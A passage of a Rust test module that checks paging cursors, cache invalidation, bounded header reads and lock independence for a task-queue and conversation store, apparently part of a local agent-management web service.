24539        .unwrap();
24540        let (tasks, talks, watches) =
24541            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24542        assert!(
24543            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24544                .is_none()
24545        );
24546        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24547        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24548        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24549            assert!(origin.origin_chat.is_none());
24550            assert!(!origin.origin_chat_closed);
24551        }
24552    }
24553
24554    #[test]
24555    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24556        let home = tempfile::tempdir().unwrap();
24557        let ui = delta_test_ui(home.path());
24558        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24559        for i in 0..1000 {
24560            let mut task = Task::new(
24561                "unrelated".into(),
24562                "instruction ".repeat(256),
24563                PathBuf::from("/repo"),
24564                Source::Human,
24565            );
24566            task.id = format!("history-{i:04}");
24567            ui.queue.put(&mut task).unwrap();
24568            let id = seed_talk_at(&ui.talks, &task.id, "open");
24569            let mut talk = ui.talks.get(&id).unwrap();
24570            talk.pending = "history ".repeat(256);
24571            ui.talks.put(&mut talk).unwrap();
24572        }
24573        let mut parent = Task::new(
24574            "parent".into(),
24575            "body".into(),
24576            PathBuf::from("/repo"),
24577            Source::Agent {
24578                run: chat_id.clone(),
24579                node: crate::queue::CHAT_NODE.into(),
24580            },
24581        );
24582        parent.id = "task-parent".into();
24583        parent.runs = vec!["run-parent".into()];
24584        ui.queue.put(&mut parent).unwrap();
24585        let mut child = Task::new(
24586            "child".into(),
24587            "body".into(),
24588            PathBuf::from("/repo"),
24589            Source::Human,
24590        );
24591        child.id = "task-child".into();
24592        child.runs = vec!["run-child".into()];
24593        child.followup = Some(crate::queue::FollowUp {
24594            run: "run-parent".into(),
24595            origin_task: Some(parent.id.clone()),
24596            pr: "https://example.invalid/pr/1".into(),
24597            findings: vec![],
24598            generation: 1,
24599        });
24600        ui.queue.put(&mut child).unwrap();
24601        let mut question = Question::new(
24602            child.id.clone(),
24603            crate::conduct::NODE.into(),
24604            "seat".into(),
24605            "Continue?".into(),
24606            String::new(),
24607            vec![],
24608        );
24609        let (tasks, talks, _watches) =
24610            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24611        assert_eq!(tasks.len(), 2);
24612        assert_eq!(talks.len(), 1);
24613        assert_eq!(
24614            ui.monitor.queue_index.lock().unwrap().reparsed,
24615            0,
24616            "exact ancestry bypasses the index"
24617        );
24618        assert_eq!(
24619            crate::consult::origin_talk(&tasks, &talks, &question)
24620                .unwrap()
24621                .id,
24622            chat_id
24623        );
24624        question.run = "run-child".into();
24625        question.node = "review".into();
24626        for origin_task in [Some(parent.id.clone()), None] {
24627            child.followup.as_mut().unwrap().origin_task = origin_task;
24628            ui.queue.put(&mut child).unwrap();
24629            let (tasks, talks, _watches) =
24630                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24631            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24632            let expected =
24633                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24634                    .unwrap();
24635            assert_eq!(actual.id, expected.id);
24636            assert!(!actual.status.open());
24637            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24638            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24639            // Without Unix file identity, every readable record must be
24640            // reparsed to detect same-size, same-mtime replacements safely.
24641            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24642            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24643        }
24644        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24645        ui.queue.put(&mut child).unwrap();
24646        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24647        let (tasks, talks, _watches) =
24648            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24649        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24650        child.origin_chat = Some(chat_id.clone());
24651        ui.queue.put(&mut child).unwrap();
24652        let (tasks, talks, _watches) =
24653            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24654        assert_eq!(
24655            crate::consult::origin_talk(&tasks, &talks, &question)
24656                .unwrap()
24657                .id,
24658            chat_id
24659        );
24660        let revision = question_record_revision(&question);
24661        question.abandon("settled elsewhere");
24662        assert_ne!(revision, question_record_revision(&question));
24663        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24664        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24665        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24666        let (tasks, talks, _watches) =
24667            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24668        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24669    }
24670
24671    #[test]
24672    fn list_cursors_freeze_membership_and_expire_explicitly() {
24673        let home = tempfile::tempdir().unwrap();
24674        let ui = delta_test_ui(home.path());
24675        std::fs::create_dir_all(ui.queue.root()).unwrap();
24676        for i in 0..40 {
24677            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24678        }
24679        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24680        assert_eq!(first.len(), STORE_PAGE_SIZE);
24681        let cursor = cursor.unwrap();
24682        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24683        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24684        let (second, _) = page_ids(
24685            &ui,
24686            false,
24687            PageQuery {
24688                before: Some(cursor.clone()),
24689            },
24690        )
24691        .unwrap();
24692        assert_eq!(second[0], "record-0023");
24693        assert!(second.iter().all(|id| !first.contains(id)));
24694        assert!(
24695            page_ids(
24696                &ui,
24697                true,
24698                PageQuery {
24699                    before: Some(cursor.clone())
24700                }
24701            )
24702            .is_err()
24703        );
24704        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24705        assert_eq!(fresh[0], "record-9999");
24706        ui.monitor.list_walks.lock().unwrap().clear();
24707        assert!(
24708            page_ids(
24709                &ui,
24710                false,
24711                PageQuery {
24712                    before: Some(cursor)
24713                }
24714            )
24715            .is_err()
24716        );
24717    }
24718
24719    #[tokio::test]
24720    async fn talk_pages_load_every_open_then_frozen_closed_history() {
24721        let home = tempfile::tempdir().unwrap();
24722        let ui = delta_test_ui(home.path());
24723        // Every closed conversation is newer by ID than every open conversation.
24724        for i in 0..23 {
24725            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
24726        }
24727        for i in 0..45 {
24728            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
24729        }
24730        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
24731        let first = talks_page(
24732            State(ui.clone()),
24733            Query(PageQuery::default()),
24734            header::HeaderMap::new(),
24735        )
24736        .await
24737        .unwrap()
24738        .0;
24739        assert_eq!(
24740            first.rows.iter().filter(|row| row.status.open()).count(),
24741            23
24742        );
24743        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
24744        assert!(first.rows[..23].iter().all(|row| row.status.open()));
24745        let parsed = ui
24746            .monitor
24747            .talk_parses
24748            .load(std::sync::atomic::Ordering::Relaxed);
24749        assert_eq!(
24750            parsed,
24751            first.rows.len(),
24752            "closed bodies outside this page are not restored"
24753        );
24754        let fresh = talks_page(
24755            State(ui.clone()),
24756            Query(PageQuery::default()),
24757            header::HeaderMap::new(),
24758        )
24759        .await
24760        .unwrap()
24761        .0;
24762        assert_eq!(fresh.rows.len(), first.rows.len());
24763        assert_eq!(
24764            ui.monitor
24765                .talk_parses
24766                .load(std::sync::atomic::Ordering::Relaxed),
24767            parsed
24768        );
24769        let mut seen: std::collections::HashSet<_> =
24770            first.rows.iter().map(|row| row.id.clone()).collect();
24771        // Status changes keep their original membership position until refresh.
24772        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
24773        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
24774        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
24775        let mut next = first.next;
24776        while let Some(cursor) = next {
24777            let page = talks_page(
24778                State(ui.clone()),
24779                Query(PageQuery {
24780                    before: Some(cursor),
24781                }),
24782                header::HeaderMap::new(),
24783            )
24784            .await
24785            .unwrap()
24786            .0;
24787            assert!(page.rows.len() <= STORE_PAGE_SIZE);
24788            for row in page.rows {
24789                assert!(seen.insert(row.id), "a cursor must not repeat membership");
24790            }
24791            next = page.next;
24792        }
24793        let expected: HashSet<_> = (0..23)
24794            .map(|i| format!("20260101-000000-{i:03}"))
24795            .chain(
24796                (0..45)
24797                    .filter(|i| *i != 1)
24798                    .map(|i| format!("20261019-000000-{i:03}")),
24799            )
24800            .collect();
24801        assert_eq!(
24802            seen, expected,
24803            "the cursor walk must return every surviving ID"
24804        );
24805        let refreshed = talks_page(
24806            State(ui.clone()),
24807            Query(PageQuery::default()),
24808            header::HeaderMap::new(),
24809        )
24810        .await
24811        .unwrap()
24812        .0;
24813        assert_eq!(
24814            refreshed
24815                .rows
24816                .iter()
24817                .filter(|row| row.status.open())
24818                .count(),
24819            23
24820        );
24821        assert!(
24822            refreshed
24823                .rows
24824                .iter()
24825                .any(|row| row.id == "20261019-000000-000")
24826        );
24827        assert!(
24828            !refreshed
24829                .rows
24830                .iter()
24831                .any(|row| row.id == "20260101-000000-000")
24832        );
24833    }
24834
24835    #[test]
24836    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
24837        let home = tempfile::tempdir().unwrap();
24838        let ui = delta_test_ui(home.path());
24839        for i in 0..STORE_PAGE_SIZE + 5 {
24840            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
24841        }
24842        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
24843        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
24844        assert!(next.is_none());
24845    }
24846
24847    #[test]
24848    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
24849        struct Counted<R> {
24850            inner: R,
24851            bytes: usize,
24852        }
24853        impl<R: std::io::Read> std::io::Read for Counted<R> {
24854            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
24855                let n = self.inner.read(buf)?;
24856                self.bytes += n;
24857                Ok(n)
24858            }
24859        }
24860        let home = tempfile::tempdir().unwrap();
24861        let ui = delta_test_ui(home.path());
24862        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
24863        let mut chat = ui.talks.get(&id).unwrap();
24864        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
24865            chat.turns = vec![
24866                serde_json::from_value(serde_json::json!({
24867                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
24868                }))
24869                .unwrap(),
24870            ];
24871            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
24872                chat.status = status;
24873                // Exercise the actual on-disk serializer, including its field order.
24874                let body = serde_json::to_vec_pretty(&chat).unwrap();
24875                let mut reader = Counted {
24876                    inner: body.as_slice(),
24877                    bytes: 0,
24878                };
24879                assert_eq!(read_talk_status(&mut reader), Some(status));
24880                assert!(
24881                    reader.bytes <= 1024,
24882                    "header classification read {} bytes",
24883                    reader.bytes
24884                );
24885            }
24886        }
24887        // Noncanonical field order must neither traverse a transcript nor hide
24888        // an open row. Its real status is validated by the ordinary row reader.
24889        let noncanonical = format!(
24890            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
24891            "x".repeat(1024 * 1024)
24892        );
24893        let mut reader = Counted {
24894            inner: noncanonical.as_bytes(),
24895            bytes: 0,
24896        };
24897        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
24898        assert!(reader.bytes <= 1024);
24899        let oversized = format!(
24900            r#"{{"agent":"{}","status":"open"}}"#,
24901            "x".repeat(128 * 1024)
24902        );
24903        let mut reader = Counted {
24904            inner: oversized.as_bytes(),
24905            bytes: 0,
24906        };
24907        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
24908        assert!(reader.bytes <= 64 * 1024);
24909    }
24910
24911    #[test]
24912    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
24913        let home = tempfile::tempdir().unwrap();
24914        let ui = delta_test_ui(home.path());
24915        seed_talk_at(&ui.talks, "header-chat", "open");
24916        std::fs::create_dir_all(ui.queue.root()).unwrap();
24917        let (started, ready) = std::sync::mpsc::channel();
24918        let (release, wait) = std::sync::mpsc::channel();
24919        let chat_ui = ui.clone();
24920        let scan = std::thread::spawn(move || {
24921            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
24922                started.send(()).unwrap();
24923                wait.recv().unwrap();
24924                open_talk_ids(ui, ids)
24925            })
24926            .unwrap()
24927        });
24928        ready.recv_timeout(Duration::from_secs(2)).unwrap();
24929        let (finished, result) = std::sync::mpsc::channel();
24930        let queue = std::thread::spawn(move || {
24931            finished
24932                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
24933                .unwrap();
24934        });
24935        let completed = result.recv_timeout(Duration::from_secs(2));
24936        // Release and join both workers even if the regression returns.
24937        release.send(()).unwrap();
24938        scan.join().unwrap();
24939        queue.join().unwrap();
24940        assert!(
24941            completed.unwrap(),
24942            "queue paging must not wait for chat header I/O"
24943        );
24944    }
24945
24946    #[test]
24947    fn talk_status_projection_does_not_cache_files_changed_during_read() {
24948        let home = tempfile::tempdir().unwrap();
24949        let ui = delta_test_ui(home.path());
24950        let ids = vec!["changing-chat".to_owned()];
24951        seed_talk_at(&ui.talks, &ids[0], "closed");
24952        assert!(open_talk_ids(&ui, &ids).is_empty());
24953        seed_talk_at(&ui.talks, &ids[0], "open");
24954        let open = open_talk_ids_with(&ui, &ids, |path| {
24955            let value: serde_json::Value =
24956                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
24957            // Replace the file after parsing, before its identity is checked again.
24958            seed_talk_at(&ui.talks, &ids[0], "closed");
24959            serde_json::from_value(value["status"].clone()).ok()
24960        });
24961        assert!(open.contains(&ids[0]));
24962        assert!(
24963            ui.monitor
24964                .talk_status_index
24965                .lock()
24966                .unwrap()
24967                .records
24968                .is_empty()
24969        );
24970        assert!(open_talk_ids(&ui, &ids).is_empty());
24971        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
24972    }
24973
24974    #[test]
24975    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
24976        let home = tempfile::tempdir().unwrap();
24977        let ui = delta_test_ui(home.path());
24978        let headers = header::HeaderMap::new();
24979        seed_talk_at(&ui.talks, "open-chat", "open");
24980        seed_talk_at(&ui.talks, "closed-chat", "closed");
24981        talk_rows(
24982            &ui,
24983            vec!["open-chat".into(), "closed-chat".into()],
24984            &headers,
24985        );
24986        {
24987            let mut index = ui.monitor.talk_index.lock().unwrap();
24988            let closed = index["closed-chat"].1.clone();
24989            for i in 0..1000 {
24990                index.insert(
24991                    format!("cached-closed-{i}"),
24992                    (
24993                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
24994                        closed.clone(),
24995                    ),
24996                );
24997            }
24998        }
24999        assert_eq!(
25000            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
25001            1
25002        );
25003        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
25004        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25005        assert_eq!(
25006            ui.monitor
25007                .talk_parses
25008                .load(std::sync::atomic::Ordering::Relaxed),
25009            2
25010        );
25011        {
25012            let mut index = ui.monitor.talk_index.lock().unwrap();
25013            let open = index["open-chat"].1.clone();
25014            for i in 0..1000 {
25015                index.insert(
25016                    format!("cached-open-{i}"),
25017                    (
25018                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
25019                        open.clone(),
25020                    ),
25021                );
25022            }
25023        }
25024        // Even when open rows exceed the bound, keep the currently requested rows.
25025        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25026        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
25027        assert_eq!(
25028            ui.monitor
25029                .talk_parses
25030                .load(std::sync::atomic::Ordering::Relaxed),
25031            2
25032        );
25033    }
25034
25035    #[test]
25036    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
25037        let home = tempfile::tempdir().unwrap();
25038        let ui = delta_test_ui(home.path());
25039        std::fs::create_dir_all(ui.talks.root()).unwrap();
25040        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
25041        for id in &ids {
25042            std::fs::write(
25043                ui.talks.path_of(id),
25044                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
25045            )
25046            .unwrap();
25047        }
25048        assert!(open_talk_ids(&ui, &ids).is_empty());
25049        assert_eq!(
25050            ui.monitor.talk_status_index.lock().unwrap().parses,
25051            ids.len()
25052        );
25053        assert!(open_talk_ids(&ui, &ids).is_empty());
25054        assert_eq!(
25055            ui.monitor.talk_status_index.lock().unwrap().parses,
25056            ids.len()
25057        );
25058        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
25059        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
25060        assert_eq!(
25061            open_talk_ids(&ui, &ids),
25062            std::collections::HashSet::from([ids[0].clone()])
25063        );
25064        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
25065        assert_eq!(parsed, ids.len() + 2);
25066        open_talk_ids(&ui, &ids);
25067        assert_eq!(
25068            ui.monitor.talk_status_index.lock().unwrap().parses,
25069            parsed,
25070            "unreadable rows are cached too"
25071        );
25072        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
25073        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
25074        assert!(
25075            !ui.monitor
25076                .talk_status_index
25077                .lock()
25078                .unwrap()
25079                .records
25080                .contains_key(&ids[0])
25081        );
25082        assert!(
25083            ui.monitor.talk_index.lock().unwrap().is_empty(),
25084            "classification never caches bodies"
25085        );
25086    }
25087
25088    #[tokio::test]
25089    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
25090        let home = tempfile::tempdir().unwrap();
25091        let ui = delta_test_ui(home.path());
25092        let mut task = Task::new(
25093            "task".into(),
25094            "body".into(),
25095            PathBuf::from("/repo"),
25096            Source::Human,
25097        );
25098        ui.queue.put(&mut task).unwrap();
25099        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25100        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25101        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25102        let expected = parsed + usize::from(!cfg!(unix));
25103        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25104        task.status = crate::queue::TaskStatus::Held;
25105        ui.queue.put(&mut task).unwrap();
25106        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25107        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25108        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
25109        ui.queue.put(&mut task).unwrap();
25110        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25111        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25112        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
25113    }
25114
25115    #[tokio::test]
25116    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
25117        let home = tempfile::tempdir().unwrap();
25118        let ui = delta_test_ui(home.path());
25119        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25120        let before = health(State(ui.clone())).await.unwrap().0;
25121        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
25122        let after = health(State(ui)).await.unwrap().0;
25123        assert_ne!(before.notifications_rev, after.notifications_rev);
25124        assert_eq!(after.notifications_unread, 1);
25125    }
25126
25127    #[tokio::test]
25128    async fn list_pages_bound_history_and_keep_dependency_evidence() {
25129        let home = tempfile::tempdir().unwrap();
25130        let ui = delta_test_ui(home.path());
25131        let queue = &ui.queue;
25132        let talks = &ui.talks;
25133        for i in 0..1000 {
25134            let id = format!("20261019-{i:06}-page");
25135            let mut task = Task::new(
25136                "task".into(),
25137                "instruction".repeat(100),
25138                PathBuf::from("/repo/magi"),
25139                Source::Human,
25140            );
25141            task.id = id.clone();
25142            if i == 0 {
25143                task.status = crate::queue::TaskStatus::Held;
25144            } else if i == 999 {
25145                task.status = crate::queue::TaskStatus::Blocked;
25146                task.blocked_by = vec!["20261019-000000-page".into()];
25147            }
25148            queue.put(&mut task).unwrap();
25149            seed_talk_at(talks, &id, "closed");
25150        }
25151        let page = serde_json::to_value(
25152            queue_page(State(ui.clone()), Query(PageQuery::default()))
25153                .await
25154                .unwrap()
25155                .0,
25156        )
25157        .unwrap();
25158        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25159        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
25160        assert!(
25161            !page["rows"][0]["stuck_roots"]
25162                .as_array()
25163                .unwrap()
25164                .is_empty()
25165        );
25166        let cursor = page["next"].as_str().unwrap();
25167        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
25168            .as_str()
25169            .unwrap();
25170        // Deleting an already enumerated file cannot shift or repeat a page.
25171        std::fs::remove_file(queue.path_of(last_id)).unwrap();
25172        let next = serde_json::to_value(
25173            queue_page(
25174                State(ui.clone()),
25175                Query(PageQuery {
25176                    before: Some(cursor.into()),
25177                }),
25178            )
25179            .await
25180            .unwrap()
25181            .0,
25182        )
25183        .unwrap();
25184        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25185        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
25186        let chats = serde_json::to_value(
25187            talks_page(
25188                State(ui.clone()),
25189                Query(PageQuery::default()),
25190                header::HeaderMap::new(),
25191            )
25192            .await
25193            .unwrap()
25194            .0,
25195        )
25196        .unwrap();
25197        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25198        assert!(chats["rows"][0].get("pending").is_none());
25199        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
25200        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
25201        assert_eq!(counts["held"], 1);
25202        assert_eq!(counts["blocked"], 1);
25203        assert_eq!(counts["queued"], 997);
25204    }
25205
25206    #[test]
25207    fn queue_index_observes_external_replacement_deletion_and_corruption() {
25208        let dir = tempfile::tempdir().unwrap();
25209        let ui = delta_test_ui(dir.path());
25210        let mut task = Task::new(
25211            "task".into(),
25212            "body".into(),
25213            PathBuf::from("/repo"),
25214            Source::Human,
25215        );
25216        task.runs = vec!["run-a".into()];
25217        ui.queue.put(&mut task).unwrap();
25218        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
25219        task.runs = vec!["run-b".into()];
25220        let path = ui.queue.path_of(&task.id);
25221        let modified = path.metadata().unwrap().modified().unwrap();
25222        let replacement = path.with_extension("replacement");
25223        let bytes = serde_json::to_vec_pretty(&task).unwrap();
25224        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
25225        std::fs::write(&replacement, &bytes).unwrap();
25226        std::fs::File::options()
25227            .write(true)
25228            .open(&replacement)
25229            .unwrap()
25230            .set_times(std::fs::FileTimes::new().set_modified(modified))
25231            .unwrap();
25232        std::fs::rename(&replacement, &path).unwrap();
25233        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
25234        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25235        std::fs::write(&path, "broken").unwrap();
25236        assert!(ui.find_task_for_run("run-b").is_err());
25237        std::fs::write(&path, bytes).unwrap();
25238        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25239        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25240        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
25241    }
25242
25243    #[tokio::test]
25244    async fn conversation_core_is_independent_of_unreadable_related_history() {
25245        let home = tempfile::tempdir().unwrap();
25246        let ui = delta_test_ui(home.path());
25247        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25248        std::fs::create_dir_all(ui.queue.root()).unwrap();
25249        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
25250        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
25251            .await
25252            .unwrap();
25253        assert_eq!(core.talk.id, id);
25254        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
25255    }
25256
25257    #[test]
25258    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
25259        let home = tempfile::tempdir().unwrap();
25260        let ui = delta_test_ui(home.path());
25261        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25262        let directory = home.path().join("workers/jobs/abcdef");
25263        std::fs::create_dir_all(&directory).unwrap();
25264        let job = crate::worker::Job {
25265            id: "abcdef".into(),
25266            sequence: 1,
25267            kind: "chat".into(),
25268            key: id.clone(),
25269            payload: serde_json::json!({ "talk": id }),
25270            generation: "test".into(),
25271            version: None,
25272            status: crate::worker::Status::Running,
25273            result: None,
25274            pid: None,
25275            created_at: 0,
25276            finished_at: None,
25277        };
25278        std::fs::write(
25279            directory.join("job.json"),
25280            serde_json::to_vec(&job).unwrap(),
25281        )
25282        .unwrap();
25283        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
25284        let store =
25285            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
25286        let runtime = tokio::runtime::Builder::new_current_thread()
25287            .enable_all()
25288            .max_blocking_threads(1)
25289            .build()
25290            .unwrap();
25291        runtime.block_on(async {
25292            let (release, held) = std::sync::mpsc::channel();
25293            let (started, ready) = tokio::sync::oneshot::channel();
25294            let occupied = tokio::task::spawn_blocking(move || {
25295                started.send(()).unwrap();
25296                held.recv().unwrap();
25297            });
25298            ready.await.unwrap();
25299            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
25300            let bulk = ui
25301                .monitor
25302                .bulk_slots
25303                .clone()
25304                .acquire_many_owned(2)
25305                .await
25306                .unwrap();
25307            let result = tokio::time::timeout(
25308                Duration::from_secs(2),
25309                talk_core(State(ui.clone()), Path(id.clone())),
25310            )
25311            .await;
25312            // Release all blockers before assertions, including on a regression.
25313            drop(store);
25314            drop(bulk);
25315            release.send(()).unwrap();
25316            occupied.await.unwrap();
25317            let _ = secondary.await.unwrap().unwrap();
25318            let Json(core) = result
25319                .expect("transcript must bypass secondary work and the worker store lock")
25320                .unwrap();
25321            assert!(
25322                core.thinking,
25323                "read-only observation retains live worker state"
25324            );
25325            assert_eq!(core.talk.id, id);
25326            let admission_ui = ui.clone();
25327            let (release, held) = std::sync::mpsc::channel();
25328            let (started, ready) = tokio::sync::oneshot::channel();
25329            let admission = std::thread::spawn(move || {
25330                let _lock = admission_ui.talk_turns.lock().unwrap();
25331                started.send(()).unwrap();
25332                held.recv().unwrap();
25333            });
25334            ready.await.unwrap();
25335            let result = tokio::time::timeout(
25336                Duration::from_secs(2),
25337                talk_core(State(ui.clone()), Path(id.clone())),
25338            )
25339            .await;
25340            release.send(()).unwrap();
25341            admission.join().unwrap();
25342            assert!(
25343                result
25344                    .expect("display must not wait behind local admission")
25345                    .unwrap()
25346                    .0
25347                    .thinking
25348            );
25349            assert!(ui.is_thinking(&id));
25350            assert!(ui.is_thinking_observed(&id));
25351            drop(live);
25352            assert!(
25353                !ui.is_thinking_observed(&id),
25354                "a finished lease no longer appears live"
25355            );
25356            assert!(!ui.is_thinking(&id));
25357            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
25358            assert!(
25359                ui.is_thinking_observed(&id),
25360                "local admission remains visible"
25361            );
25362        });
25363    }
25364
25365    #[tokio::test]
25366    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
25367        let home = tempfile::tempdir().unwrap();
25368        let ui = delta_test_ui(home.path());
25369        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25370        let mut task = Task::new(
25371            "Referenced task".into(),
25372            "Unrelated instruction history".repeat(1024),
25373            home.path().into(),
25374            Source::Human,
25375        );
25376        task.id = "20261019-000000-abcd".into();
25377        ui.queue.put(&mut task).unwrap();
25378        let mut conversation = ui.talks.get(&id).unwrap();
25379        conversation.turns.push(talk::Turn {
25380            sender: Some(talk::Sender::Persona),
25381            who: talk::Who::Agent,
25382            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
25383            at: conversation.created_at,
25384            attachments: Vec::new(),
25385            usage: None,
25386            breaks: None,
25387            messages: Vec::new(),
25388            posted_by: None,
25389        });
25390        ui.talks.put(&mut conversation).unwrap();
25391
25392        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
25393        let markdown = serde_json::to_value(&core.turn_bodies_md)
25394            .unwrap()
25395            .to_string();
25396        assert!(markdown.contains("\"strong\""));
25397        assert!(markdown.contains("\"table\""));
25398        assert!(markdown.contains("\"bullet_list\""));
25399        assert!(markdown.contains("\"code_block\""));
25400        assert!(!markdown.contains("\"internal_link\""));
25401        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
25402        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
25403        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25404
25405        // Deferred decoration still resolves the same validated task, without
25406        // touching opaque code blocks or changing the original transcript.
25407        let references = ui.references.for_talk(home.path(), &conversation);
25408        let mut decorated = core.turn_bodies_md[0].clone();
25409        references.markdown(&mut decorated);
